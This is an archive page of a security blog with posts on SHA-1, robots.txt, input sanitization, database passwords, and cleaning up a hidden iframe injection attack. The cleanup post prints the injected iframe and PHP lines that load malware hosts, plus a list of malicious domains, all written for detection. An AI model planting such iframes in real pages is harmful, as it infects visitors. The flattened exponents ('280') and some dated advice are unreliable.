Archive for the 'Security' Category

Real security of our cryptographic algorithms

May 13 2009

A few days ago at EuroCrypt 2009, security researchers announced an attack on the SHA-1 hashing algorithm. The attack is a fairly serious one and it is a strong signal for software vendors to move away from SHA-1.

For almost all cryptographic algorithms, if the digest length is n, it means that there are 2n different possible values for the message digest (cipher text in the case of an encryption algorithm). Taking the possibility of birthday attacks into account, we can safely assume that breaking these digests will take at least 2n/2 operations.

If n = 160 (as in the case of SHA-1), it will take 280 calculations to break the code. Even if we assume that a computer can do 220 operations per second, it will take a whopping 36 billion years to crack the code. Our secrets and systems are kept secure by these algorithms which are supposed to resist the best computers for 36 billion years from cracking code.

Then someone very smart comes along, finds a weakness in the algorithm itself rather than trying to do brute force attack, and the security of our documents, signatures and protocols are jeopardized. We are forced to find better alternatives and design better algorithms.

In the real world, cryptographic algorithms become obsolete or broken in 10-25 years rather than the theoretical time frame of 36 billion years.

As a precautionary step you may want to make the algorithms/protocols used in your application easily replaceable. This will make your life easier when the algorithm is broken and you want to replace it. Also, as a programmer you should understand that even if the algorithm is not yet broken, your implementation may be flawed. Most of the security vulnerabilities are caused by crappy implementations of secure algorithms/protocols.

And did I mention that you should not write your own encryption algorithm?

Of course in the real world things are entirely different:

Real world security

As you probably know, none of the algorithms in the world will help you if I know your mother’s maiden name.

2 responses so far

Hidden iframe injection attacks

Mar 20 2009

[Updated on October 27, 2009 with new a version of the script]

It is a shame that after all those posts about security, some of my websites were under attack today.

Shoban and Anand emailed me about this today morning (Thanks guys) and I tried to understand what was going on. To my utter disbelief more than 10 websites hosted in the same server were affected by the attack.

All the index.* files in the server were infected with a piece of code that loaded a hidden iframe in the page.

To the html pages the following piece of code was added:

<iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

To php pages it added:

echo “<iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Asha took the effort and cleaned most of the infected files. We are monitoring the status now.

How did the worm inject the hidden iframes to my files?

There are two ways through which the worm is believed to infect your files:

1) Server is compromised

This is the most common way. Some o the websites residing in the same web server as your website may be compromised (o it may be some vulnerabilities in your web application itself) that caused the web server to be compromised. Once the server is compromised, the worm will spread to all the websites in the server.

2) Client side FTP

The worm resides in some/any of the client side PCs you use for accessing the ftp/control panel accounts of your hosting server.

When you type in the username and password for the ftp/control panel account, the worm silently reads the credentials, accesses your ftp account and infects the files in the server. It adds the above mentioned code to all index.* files.

How can I recover from a hidden iframe injection attack?

Here are a few tips that might help you:

  1. The first thing to do to prevent these kinds of attacks is to change your ftp, control panel and database passwords as soon as possible.
  2. Notify your web host about the attack and advice them to take measures against a possible server wide attack.
  3. Change the file permissions in your server to the maximum secure mode.
  4. Download all your files from the server and  check for infections. Clean the infected files.
  5. Using a good antivirus software, scan and clean every PC you use for logging into your hosting server.
  6. Never use public computers to access your server.

How do I clean infected files?

Use these regular expressions to search for all pages containig the malicious code and replace it with space:

<iframe src=\”http://[^"]*” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>

echo \”<iframe src=\\\”http://[^"]*\” width=1 height=1 style=\\\”visibility:hidden;position:absolute\\\”></iframe>\”;

You may have to write a script to automate this for all the files in the server.

I have cooked up a php script that can help you find out the infected files. Download the file from here, save it as clean.php (it is currently clean.php.txt) and upload it to the root folder of your website.

You may want to change some hardcoded values inside the file.

Then visit the url:

http://www.yourdomain.com/clean.php?c=iframe

The parameter c specifies the text to search for inside the file. The results will be something like:

Clean hidden iframes

It will search all the files in your website and if any of the files contains the given string, it will print the filename along with the number of occurrences of the string. In the above screenshot, you can see that one file is infected.

Note that the script will not remove the iframes from your files. Automated cleaning could break some of your websites. So as of now you will have to clean the files manually.

Faiz has written an advanced ASP.Net script for finding the infected files, and it can be found here.

Will my search engine rankings be affected by this attack?

Try to be fast with these steps because if a visitor see the message “This site may harm your computer” pop up when (s)he try to access your website/blog, (s)he may not return again. Remember that if the security of your website is compromised, it can affect the search engine rankings of the website. Besides, it may pave way for more sophisticated attacks.

Google will mark your site in it’s search results with a warning: “This site may harm your computer”.

Use the following link to see what google thinks about your website (give the url of your site instead of shopfloorbd.co.uk):

http://www.google.com/safebrowsing/diagnostic?site=http://shopfloorbd.co.uk

As mentioned above, you must remove the malware from your local machine using some antivirus software. AVG sees it as “Trojan Horse Downloader” and NOD32 sees it as “JS/Kryptik.B trojan”.

Note that when visiting an infected site, some antivirus softwares prompt you that “Trojan Horse Downloader”, an exe-file is trying to get loaded. Once the exe infects your machine, it will infect your server too.

Here are some more code samples caught from the wild:

<iframe src=”http://hostverify.net/?click=2730375″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

<iframe src=”http://hosttracker.net/?click=32431937″ width=1 height=1 style=”visibility:hidden;position:absolute”>

There are obfuscated versions of the attack code too:

<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){…  etc.

Here is a list of some other websites that host malicious content:

gumblar.cn

martuz.cn

beladen.net

38zu.cn

googleanalytlcs.net

lousecn.cn

fqwerz.cn

d99q.cn

orgsite.info

94.247.2.0

94.247.2.195

http://mmsreader.com

http://google-ana1yticz.com

http://my2.mobilesect.info

http://thedeadpit.com

http://internetcountercheck.com

http://165.194.30.123

http://ruoo.info

gogo2me.net/

http://live-counter.net

http://klinoneshoes.info

protection-livescan.com/

http://webexperience13.com

http://q5x.ru

http://q5x.ru
gumblar.cn
martuz.cn
beladen.net
38zu.cn
googleanalytlcs.net
lousecn.cn
fqwerz.cn
d99q.cn
orgsite.info
94.247.2.0
94.247.2.195
http://mmsreader.com
http://google-ana1yticz.com
http://my2.mobilesect.info
http://thedeadpit.com
http://internetcountercheck.com
http://165.194.30.123
http://ruoo.info
gogo2me.net/
http://live-counter.net
http://klinoneshoes.info
protection-livescan.com/
http://webexperience13.com
http://q5x.ru

If you find these urls in any code in your website, that is a sure shot sign that you are infected.

72 responses so far

How can a crawler bypass robots.txt?

Mar 16 2009

When I wrote that robots.txt will not prevent bad crawlers from accessing your private data, a reader wondered how a crawler can bypass robots.txt.

I think the original article was clear enough. Anyway I will try again:

Imagine a sign that says “Trespassers will be prosecuted“. The sign just tells you that you are not expected to trespass. After reading the sign, you have to make up your mind whether to trespass or not. The sign itself will not stop you from proceeding further. It will just tell you that you shouldn’t.

Similarly, robots.txt just tells the crawlers that they are not expected to visit some of the pages. If the crawler wants, it can still visit those pages. This means that a bad bot can read the robots.txt file and learn which files the user wants to keep private and read those files to look for confidential data.

What this essentially means is that when they read your sign, the good guys will stop. The bad ones will not. So if you really want to stop everybody from trespassing, try build a wall around your compound rather than using a sign.

So How can a crawler bypass robots.txt?

A crawler needs to do nothing to bypass robots.txt. To the contrary, a crawler should do some extra work if it wants to follow the rules in robots.txt.

6 responses so far

Writing your own encryption algorithm? Duh!!

Feb 11 2009

One of my friends was talking to me:

Hey you see that guy? He is a very good programmer and he knows a lot of stuff.

I asked him whether he knew anything about this encryption algorithm. He told me that he knows a lot about encryption algorithms. In fact he writes his own encryption algorithms. He told me that it is always better to write your own algorithms.

Yeah.

Now I know how knowledgeable he is.

I have small request to make to all of the self proclaimed cryptographic experts out there:

Cryptography is hard. It is hard because there are always smarter people out there who can break your home-made super-duper encryption algorithm. If you are so confident in your abilities, use your own encryption algorithms in your own applications. Please don’t give it to the public. If are sharing your application with us, specify that you are using your own encryption algorithm so that we’ll understand how awesome you are and how awesome your products will be (and probably avoid using your awful application).

I know what you will be thinking right now:

But, nobody ever cracked my encryption algorithm!

That is because nobody cares. People have their own work to do rather than trying to crack your pet algorithm. If you really want to test the strength of your algorithm, try announcing a million dollar prize for the guy who breaks it.

And please don’t spread messages like “it is always better to write our own algorithms”  among us mortals. May be you can do good security on your own; we can’t.

47 responses so far

Sanitizing user data: How and where to do it

Sep 11 2008

User data can be dangerous. Whatever the user supplies as data, especially in a web application, cannot be assumed to be safe. On the contrary, there are many malicious users who try to exploit every security vulnerability in your application. XSS, CSRF, SQL Injection attacks are familiar to most of you. (If not, go figure it out and come back fast.) In order to protect your application from such attacks you need to sanitize user data so that it does not do anything harmful to your system.

Exploits-of-a-mom

A big question being discussed vigorously in the web development community is:

Where to sanitize the user data? Should it be done in the input stage where the data is being entered by the user or in the output stage where the data is being displayed to the user?

The solution, in my opinion, (and in the opinion of a large group of experts in this field) is to do dual sanitization. One validation and SQL escaping before going into the database and one sanitization (filtering and escaping) before going to the output.

So the process essentially boils down to validation in the input and escaping in the output. Here are the reasons why you should go by this method instead of escaping and sanitation in the input alone:

  1. The way data needs to be sanitized depends on the context the data is intended to be used. For example, if the data is to be stored in a database, we need to escape the ‘ character to prevent SQL Injection attacks. If the data is to be displayed in the HTML output, we need to escape the < and > characters to prevent XSS attacks. In the input stage we cannot anticipate the ways in which the data is going to be used.  So it is better to sanitize the data just before the output stage when it is clear where the data is going.
  2. You cannot always be sure that the data in the database is sanitized data. You cannot guarantee that it came from the sources we anticipated the data to come from. There is a chance that the data ended up in the database through a path where you have not placed your input sanitizer. What if a user directly edited the database to add some data? What if there are loopholes in your sanitizer? What if the data was placed by an SQL injection attack against your database? All these points tell us that we need to sanitize user data where it is being used – that is in the output stage.
  3. There may be other applications which use the data from your database. For example an application written in COBOL may be using the data from the database to generate some reports with it. If the data already in the database is in the form of &gt;script&lt;&nbsp;hello&nbsp;world, the COBOL application will not able to make sense out of the data. It will have to implement its own decoder to read the data. This is a very painful process. We can avoid situations like this if we do not push processed data into the database.
  4. It is always best to have pure unaltered data in the database so that it can be easily processed by all the applications using the data. Once we sanitize the data before it is stored in the database, there is no going back. It is really hard to get the original data supplied by the user back after doing all these filtering and escaping techniques. On the other hand, if we have unaltered data in the database it is easy to escape it later with respect to each application using the data.
  5. According to the above points, data sanitization in the output is anyway needed for obvious reasons. If we are encoding the user data in the input as well as in the output, the data will be in a doubly encoded form and it will not be useful at all. There is no need for double sanitization anyway. So it is always recommended to encode your data to the target format just before passing the data to the target system.
  6. Users have reported security holes with applications like phpMyAdmin when it displays database values without encoding to HTML format. The developers of phpMyAdmin anticipated the data in the user databases to be free of any malicious code, but it may not be the case. So your application needs output sanitization especially if you are using data form outside sources. Never trust any data coming your way.
  7. Assume that you are using input sanitization. If there is some bug in the sanitizer, malicious data will creep into the database and now you have to fix the sanitizer and remove all the malicious data from your database. This can be a very tedious job. But if you were using output sanitizer, you just would have to modify the code to fix the security hole.

So how to do this two step sanization? Here is how:

  1. User data comes in
  2. Validate the data
  3. If valid, do SQL escaping and store in the database. (mysql_real_escape_string( ) in PHP)
  4. If invalid, reject the data. Don’t try to modify the data and push it into the database. This will do more harm than good. The user will think that the data went through successfully while the data in the database will be something else. So just accept or reject the user data. Don’t try to alter it.
  5. Output: If the data is going to an HTML page, escape for HTML. (htmlentities( ) in PHP). If the data is going to a unix command line, escape for shell.(escapeshellarg( ) in PHP). If the data is going to a URL, URL encode the data.(urlencode( ) in PHP) etc.

In the validation step, check for the proper encoding of the data – URL/UTF-7/Unicode/US-ASCII etc. Then check if the data contains proper character-set. Allow only the characters which are really needed for the application. Put a limit the length of the input data. Remember that an attacker usually makes use of long strings to craft an attack. Check whether the data format is correct or not. Phone numbers should contain only numbers; email addresses should contain text in the specific email format etc.

Always use the methods or frameworks provided by your language/platform to do the escaping and encoding/decoding. Most of the languages out there support these operations. Java is an exception though: when you are using Java, you should write your own methods handle HTML encoding/decoding.

Finally, when sending the data to the web browser, remember to set the proper encoding for the web page. This can be done using the response header attribute or using meta tags. It is advisable to use both methods. Forgetting this step can aid some types of XSS attacks.

Other concerns

Some websites need to output user input as HTML itself – for example websites that allow HTML editing. In this case you cannot do encoding in your application. Remember to add proper filtering mechanisms to allow only the tags that are intended to be used. Always block potentially dangerous tags such as <script></script>

Read more at:

One response so far

Robots.txt is not a security measure

Sep 10 2008

I am increasingly coming across people who think robots.txt file can be used to prevent search engine crawlers from crawling sensitive data in their websites. Seriously.

This is just plain wrong. Data to be excluded using a robots.txt file is: unwanted, redundant or useless data. An entry in the robots.txt file cannot protect your sensitive data from going out. Sensitive data should not be left open in your website in the first place.

There are many malicious crawlers which crawl only the pages blocked by the robot.txt file in every website. I bet many interesting stuff will turn up in their search results.

4 responses so far

Choosing the length of your database password

Aug 26 2008

Your choice of passwords shows how important the data secured by the password is. If the password for your email account is passw0rd, it means that the data in your email is not important enough (or that you don’t care much about the importance of the data). We all know that it is generally not a good idea to store user passwords in your database in the form of plain text. But in certain cases, you may be compelled to store user passwords directly in the plain text form in the database.

This means that all the user passwords are secured by a single database password. If someone brute forces the database password, he/she can read all the user passwords, and users as we know, are infamous for using the same passwords for most of their accounts everywhere. Thus the attacker can access other accounts of the user elsewhere.

As a developer/ DBA, it is your job to secure the data in your database. One thing you can do is to make the brute forcing of the database password as hard as brute forcing all the passwords in the database. This can be done by choosing the length of your database password wisely.

What should be the length of your database password?

Minimum length of database password = Average length of user passwords contained in the db *  log2 (number of user passwords) / 8

For example, if you are storing 1024 passwords of average length 8 characters, your database password should be at least 10 characters in length.

6 responses so far

Next »